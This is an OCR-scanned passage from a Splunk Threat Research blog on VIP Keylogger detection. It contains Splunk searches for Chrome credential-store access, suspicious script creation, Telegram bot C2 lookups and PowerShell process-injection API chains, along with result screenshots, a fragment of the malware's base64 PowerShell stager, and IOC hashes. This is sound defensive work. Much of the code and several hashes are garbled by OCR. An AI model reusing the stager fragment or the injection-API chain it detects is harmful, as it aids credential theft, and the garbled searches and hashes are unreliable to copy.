‘wineventlog security’ EventCode=t66) object_file path="s\uippbatatilocal\\GooglediChrase'hizer Data\\befaultiilogin Oata® w0 MOT {process_path I ("#:\iMindows\\explorer.exe®, "®:\WWindows\\Systen¥z\idllhost exe”, | Lost24
"wiicheone exe™) | stats eount min{_timed a3 TirseTime nea(_tine) oo lostTime by object File_nsre shiect file pach process_nose process.peth process_id Eventfode dest | “security_content ctime(firsiTime)™ |
“sacurity_contont_ctinelastTime) | ‘windows_cresentials_from_passwerd_storos_chrome_login_data_sccess_filter|

« & gvents (07042026 16:0000.000 1o 0R42026 151:42.000) Mo Event Sameling = Job v Aok A ¥

Events Patterns Statistics (4] Wisuakzation
20 Per Page # Fomat Prasdew =

s ’
oiect_file_nams pracass_|d

B oiject_file_path 5 #  precess name o #  process path S # L]

Legin Bata ©:\Users\hdministratorUpplatatiocal \GoogleChrome\Wser  €:%Users\Publicheestivipheylogger. exe £ \isersiPublichtestivipkeylogger_ exe txdbd
DataiDefaulth\login Data

Legin Data C:\Usarsiadelnistrator\Appiatatlocal \CoogleChremeser  C:hUsers\Fublicheestivipheylogger, sng C:\Usars\Fubil 1e\tastivi phay Logaer. ae (P
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Figure 30: Windows Credentials from Password Stores Chrome Login Data Access Detection

Executables Or Script Creation In Suspicious Path

The following analytic identifies the creation of executables or scripts in suspicious file paths on
Windows systems.

| tstats “security content summariesonly’
count min(_time) as firstTime
max(_time) as lastTime

(NN

from datamodel=Endpoint.Filesystem where
Filesystem.file name IN (
"*. bat",

"*.cmd",

"*_ com",

"k dllt,

"* exe",

"*.js",

"*.msc",

", pif",

"*. psl",

"* sys",

"*.vbe",

"*.vbs"

)

Filesystem.file path IN (
"*\\PerfLogs\\*",
"*\\Users\\Administrator\\Music\\*",
"*\\Users\\Default\\*",
"*\\Users\\Public\\*",
"\\Windows\\debug\\*",
"*\\Windows\\fonts\\*",
"*\\Windows\\Media\\*",
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"*\\Windows\\repair\\*",
"*\\Windows\\servicing\\*",
"*Recycle.bin*",

“*:\\inetpub\\*",
"*\\Microsoft\\Windows\\Libraries\\*"
)

AN

by Filesystem.action Filesystem.dest Filesystem.file access time
Filesystem.file create time Filesystem.file hash
Filesystem.file modify time Filesystem.file name
Filesystem.file path Filesystem.file acl Filesystem.file size
Filesystem.process guid Filesystem.process id Filesystem.user
Filesystem.vendor product

| “drop_dm object name(Filesystem)’

| “security content ctime(firstTime)"

| “security content ctime(lastTime)"

| “executables or script creation in suspicious path filter®

| tstats “security_cantent_summariesanly’
count min{_time) as firstTime
max{_time) lastTime

] =Endpaint  Filesystan whe

Filasysten. file_nane TN {
*# bat®,
"ecnd®,
L=
“x,dll®,
e exet,
"*. js",
"# msc’,
"a,pife,
"x.psl®,
& 5y5",
fa et
4 vbs?

2

Filesystem. file_path IN
e\ PerfLogs\ioe",
"#\isersiiidnini stratoriiHusichie®,
"ayilsers\\efaul thhe"
“a\iUsers\\Public\e®,
"L ndowsh Adebugh e,
“ahwindows \fantshies,
"L rdows' Hed Eahie",
"EWWLRdows\ repairiha T,
*#\\Windows\ \servicing\ e,
“ahecycle bine",
#:\Linetpubi T
#\\Microsef t\\Windows \ \Librariesh s

ty Filesystem.action Filesystem.dest Filesysten. file_access_time
Filesystem. file_create_tine Filesysten. file_hash

Filesystem. Mile modify_tine Filesysten.Tile_name
Filesysten. file_path Filesysten File_acl Filesysten. file_size
Filesystem, process_guid Filesysten. process_id Filesystem,user
Fileaystes, vendor_product
| “droa_dm_chject _name(Filesystem)’
*security_content_ctime(firstTime)

“security content elineqlastTine)”
+ B events {02/04/2026 10:00.00.000 1o D9/O4/2026 10:12:05.000)  Ma Event Samgling =

Evens Patterns Statistics (6] Wisualization

20 Per Page # Farmat Pravigw =
B ’
lify_tirme fte_acl
fle_name 7 Ale_path =~ o (e
Syﬁ'\nll_l?'l TR3AS. cnd G \Users\admini strator\vAppla taRoaning WHicrasal tie ndaws'l '.ﬂl'.lrlr‘ﬁ".ﬁ_\sln11_-'?!7I1‘.A.‘|.\'.‘N: unknzen
upd_WiSjok1x. bat £ \Userst\Adrini stratorApplata\Roaming Hicrasof tWindows\L ibrari es\wpd_We%jokix.bat unknown
upd_WESjok1x. bat C:\UsershadninistratoriAnpData\Roaning \Hicrosef L\Windows\L ibraries\upd_WeSjokix. bat urknigwn

Jabw

s

flee_size

null

null

’
pracess_guid

{b1347F55-
1365-65906
1faf-
PERNGIRRSIRZ])

{b1347F55-
T365-6005-
1rar=
[T

{b1347M55
T439-69d7-
Ik
BORIRDARGHRZ]

proce
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Figure 31: Executables Or Script Creation In Suspicious Path Detection

Windows DNS Query Request by Telegram Bot API

The following analytic detects the execution of a DNS query by a process to the associated
Telegram APl domain, which could indicate access via a Telegram bot commonly used by
malware for command and control (C2) communications.

“sysmon® EventCode=22 query = "api.telegram.org" process name != "telegram.exe"
| stats count min( time) as firstTime max( time) as lastTime
BY answer answer count dvc

process exec process _guid process name

query query count reply code id

signature signature id src

user_id vendor product QueryName

QueryResults QueryStatus

| “security content ctime(firstTime)"®

| “security content ctime(lastTime)"®

| “windows dns query request by telegram bot api filter®

‘sysmon’ EventCode=22 query = "api.telegram.org” process_name != "telegram.exe®
| stats count min{_time) as firstTime max(_time) as lastTime
I answer answer_count dvc

process_exec process_guid process_name
query query_count reply_code_id
signature signature_id src
wzer_id vendor_product Querylzme
QueryResults QueryStatus

| "security_content_ctime{firstTime)"

| "security_content_ctime(lastTime)"

+ T events (08/04/2026 10:00:00.000 to 09/04/2026 10:04:37.000) Mo Event Sampling *

Events Patterns Statistics (7) Visualization
20 Per Page = # Format Preview =
' rd 7 s "4
answer_count  dve process_guid query_count  reply_code_id  signature
answer = Fd 5 ¥ pracess_sxec » & s process_name 5 S query = F = S =
cofFff:149,154.166.118 1 ECZAMAT vipkeylogger. exe {b1347755 vipkeylogger. exe api.telegram.org 1 @ ONSEvent
S458aM5 T41e-69d6- (DNS
4281 = query
LULEL R
e fFEF: 149,154, 166.118 i ECZAMAZ- vipkeylogger. exe {b1347755- vipkeylogger. exe api.telegram.org 1 @ DNSEvent
S45BaMS 7593-69d6- (DS
6faf- query)
BLERLERTL )
ceFFFF2149.154 166.118 1 ECZAMAZ- powerchell . axe {b1347755- powershell.exe api.telegram.org 1 @ DNSEvent
S40BaMY 1373-649d6- {OKS
2Tef- queryd

pEGRRERLdaZ}

Figure 32: Windows DNS Query Request by Telegram Bot API Detection

PowerShell P/Invoke Process Injection API Chain

The following analytic detects PowerShell Script Block Logging (Event ID 4104) evidence of a
complete P/Invoke process-injection API chain at either the compile phase or the execution
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phase.

“powershell”

EventCode=4104

ScriptBlockText="*add-type*"

ScriptBlockText="*D11Import*"

ScriptBlockText IN (

"*extern IntPtr*",

"*extern bool*",

"*extern uint*",

"*extern int*"

)

| where

(

match(ScriptBlockText, " (?i)[vI[il[r]l[t]llullallll[alll]l[l]l[o][c]")

AND match(ScriptBlockText, "(?i)[v][illr]l[t][ullalllllpllr]lloll[tllellc][t]l")

AND match(ScriptBlockText, "(?i)[cl[r]llellallt]l[ellt]l[h]l[r]llellalld]l")

)

OR

(

match(ScriptBlockText, "(?i)[ol[pllelln]lipllr]llol[cllells]l[s]")

AND match(ScriptBlockText, "(?i)[v][i]l[r]l[t]l[ullallll[alll]l[l]l[o]l[c]")

AND match(ScriptBlockText, "(?i)[w][r]l[i]l[t]l[ellpllr]llollcllells]l[s]l[m]l[el[m][o]llr]ly]l")
AND (

match(ScriptBlockText, "(?i)[cl[r]l[ellallt][e]llr]llellm]l[o]l[tll[e]llt]l[h][r]lle]llalld]")
OR

match(ScriptBlockText, "(?i)[qllulle]lullellullsIlellrllallpllc]™)

)

)

OR

(

match(ScriptBlockText, "(?i)[o]ll[pllelln][t]l[h]l[r]llellalld]l")

AND match(ScriptBlockText, "(?i)[s][ulls]l[pllellnl[d]lltl[h]l[r]l[ellalld]l")

AND match(ScriptBlockText, "(?i)[gllelltl[t]l[h]l[rl[ellalld]llc]l[o]lln]l[tl[e]l[x][t]l")
AND match(ScriptBlockText, "(?i)[wllrl[il[t][ellpllrllollcllellsI[slImllellm]l[o]llrlly]")
AND match(ScriptBlockText, "(?i)[s][ell[t]l[t]l[h]l[r]l[ellalld]l[c]l[o]lln]l[tl[e]l[x]I[t]l")
AND match(ScriptBlockText, "(?i)[r]l[ells][u]llm]l[ell[t]l[h]l[r]l[ellalld]l")

)

OR

(

match(ScriptBlockText, "(?i)[cllrllellallt]llellpllr]llollcliells]ls]")

AND match(ScriptBlockText, "(?i)[v][i]l[r][t]ll[ullallll[alll]l[l]l[o]l[c]")

AND match(ScriptBlockText, "(?i)[w]lrl[ill[t][ellpllrllollcllells][s]Imlle]l[m]lo]llr]ly]")
AND match(ScriptBlockText, "(?i)[s][ellt]l[t]l[h]l[r]l[ellalld]llc]l[o]lln]l[tlle]l[x]I[t]l")
AND ScriptBlockText = "*ResumeThread*"

)

OR

(

match(ScriptBlockText, "(?i)[n][tllcllr]lellallt]llells]llellcl[t]l[i]llo]l[n]")

AND match(ScriptBlockText, "(?i)[n][t]l[m]l[allpllv]l[illellw]llo]l[fIls]lellcIltI[il[o][n]")
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AND match(ScriptBlockText, "(?i)[cl[r]llellallt]l[ellr]llellm]l[o]l[t]l[el[t]l[h]l[rI[ellalld]")

)

| fillnull

| stats count min( time) as firstTime

max(_time) as lastTime

by dest signature signature id user id vendor product EventID
Guid Opcode Name Path ProcessID ScriptBlockId ScriptBlockText
| “security content ctime(firstTime)"

| “security content ctime(lastTime) "

| “powershell pinvoke process injection api chain filter®

FENAPLRAUGR RS LT g )

SeriptBlockText="w: :0penProcesss" A0
seriptilockText="s: ¥irtualallocs® &NF
ScriptBlockText="#::

iteProcessMemory® Al
ScriptBlockText="+::GethoduleHandlex" AkD
SeriptBlockText="#: GetProcamdresss” AND
SeriptElockText="w: :CreatefemateThreacs™ )
)
»
| fillrull
ats count min{.time) flrstTine max(.time) LastTime
y dest signature sigrature_id user_id wender_product EventlD
Guid Dpcode Mane Path ProcessID ScriptBlockld ScriptBlockText
security_content_ctime{firstTine)’
‘security_content_ctime{lastTime)"

+ 1 event [(FV04/2026 14:.00:00.000 to 22/04/2026 14:47:15.000) Mo Event Sampling = Job =

Events Patterns: Statistics (1) Wisuallzation

20PerPage~ A Format  Praview

# ‘o
ProcessiD  ScriptBlockia

$d = [Corwert]: :FronBaseb4String(Spayload_6d)

“L[$(Cet-Date ~Format 'Hi:mm:ss')]] Decoded len: S(%d.Length)™ | Out-File 3leg -Append
Figure 33: PowerShell P/Invoke Process Injection APl Chain Detection

Overall VIP Keylogger Analysis Story consist of 26 Splunk detections.

10C:

+ & i ¥ Srnart Mode =

o SoriptBlockText &
strator\ApplatatLacal\T 2N TafXANGh, pst ' 2434515k \'.'\\'jr'b1.‘.."A‘.’gI'[ZH|'.!N,-’:|W.’|nHt‘H\'Nl—pnn::- it RNFRGRIJ“HTH!W!I{NI’R TRARUETNTASRaxMASRATe ] JqzGXME T T34 PC] #nyy T8FmalBn 1 YunbRSPoMz s Hﬁtplll— JUgh12710X8,
fhdi=4748= spayload b4 = $hE4pl + SbE4pl + Shedpl + ShEdnd
sar4
e325f15becss “[[$(Get-Date -Format 'Hei:mm:s5')]] BG4 len: s(spaylosd_be4.Length)® | Dut-File sleg -Append

SHA256

95e6¢c6¢13165217f41¢c371abf6d03594b2bfed2259a1813bb4222fb2d3¢c32745

description

MSI_105759.png
- Steganography

07ee41817b9f338719bea03676ab607349cc3accba0dddb800f6276a01cfddof

img_085027.png
- steganography

28/32


https://research.splunk.com/stories/vip_keylogger/

SHA256 description

img_085027.png - steganography .vbs script loader
2df582bb41d1e6f0a6d44e8dbc1d8bca8e3d332bb268685b9dfc381a566c63a6

8d1f59c65ebe64d0e817ffe7ecbf1d5a4bc3768d896c934b00dfd57263c3fe15

8d5de337baalb0938e4283324d3b1e8ccbdeed694aab3b6118910476200c621b

14b25dfcc6e7169992b3f5543bcc9ebe86bd0b682e211f49¢ch62¢c019d8e9bc4d .bat script loader

28613bfb4e866186133235a88e318df3059b01001f297ad6a524eab0885305a5

d2ab8dcab70822c839912¢cb672e93de459e5608bea210c78a1be56b54chd8f81

14b25dfcc6e7f69992b3f5543bcc9ebe86bd0b682e211f49cb62c019d8e9bc4d

9bca7a3ac404807c63670141a3459eac24450e0cffbe1066cd3c8b503a917170 Jjs loader

9905c76¢cf4ebdd12e1df63047a3206026073781d885165e82d298656b5f4937

927c6d68f6413e437e4a919b2007f6a2ade32be71f80467856ce19a0325b63eb

ae6918bfe8774e1ec1ec34f3db26e7e548dd0dc33a4e6fa80970e0bd2ba7ad9d

a2862e4d2c722c7bfc86aabc2c589455659b7a4cebbb15ae55706df40e0f1f4e

cbdecb69250504d0b00bf3a9ac2209e3f6000553aa0e8980489b8d88106afcb7  VIP Keylogger

b79d5ad4a4b03f9b153d27d356c6e62648fa87c2c378af407b894ed66119b921
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SHA256 description

2801ccd00ad4c93afcc23b9f8e5f56a8ddef81c1f4b331978d9b288a69f8ce4dd Powershell
Stager

93cca0789e92ef11ccc9abd411bdc621a34138aaeed4db3241f5266bccc7eac’8 Powershell in
Environment
Variable

Learn More

This blog aims to help security analysts, blue teamers, and Splunk users identify VIP Keylogger
activity by providing insights into the tactics, techniques, and procedures (TTPs) employed by
threat actors. You can implement the detections in this blog using the Enterprise Security
Content Updates app or the Splunk Security Essentials app. To view the Splunk Threat
Research Team's complete security content repository, visit research.splunk.com.

Feedback

Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up.
Alternatively, join us on the Slack channel #security-research. Follow these instructions If you
need an invitation to our Splunk user groups on Slack.
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The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by
enhancing Splunk security offerings with verified research and security content such as use
cases, detection searches, and playbooks. We help security teams around the globe strengthen
operations by providing tactical guidance and insights to detect, investigate and respond against
the latest threats. The Splunk Threat Research Team focuses on understanding how threats,
actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in
the Attack Data repository.

Our goal is to provide security teams with research they can leverage in their day to day
operations and to become the industry standard for SIEM detections. We are a team of industry-
recognized experts who are encouraged to improve the security industry by sharing our work
with the community via conference talks, open-sourcing projects, and writing white papers or
blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat,
RSA, and many more.

Tederick 6ontreras
I'm a Senior Threat Research Engineer on Splunk's Threat Research Team. I've been working in
the cybersecurity industry for almost 12+ years. | primarily focus on malware reverse
engineering/analysis, digital forensics and detection development.
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The world’s leading organizations rely on Splunk, a Cisco company, to continuously strengthen
digital resilience with our unified security and observability platform, powered by industry-leading
Al.

Our customers trust Splunk’s award-winning security and observability solutions to secure and
improve the reliability of their complex digital environments, at any scale.

Learn more about Splunk

Subscribe to Perspectives by Splunk for curated C-suite insights, delivered to your inbox every
month.
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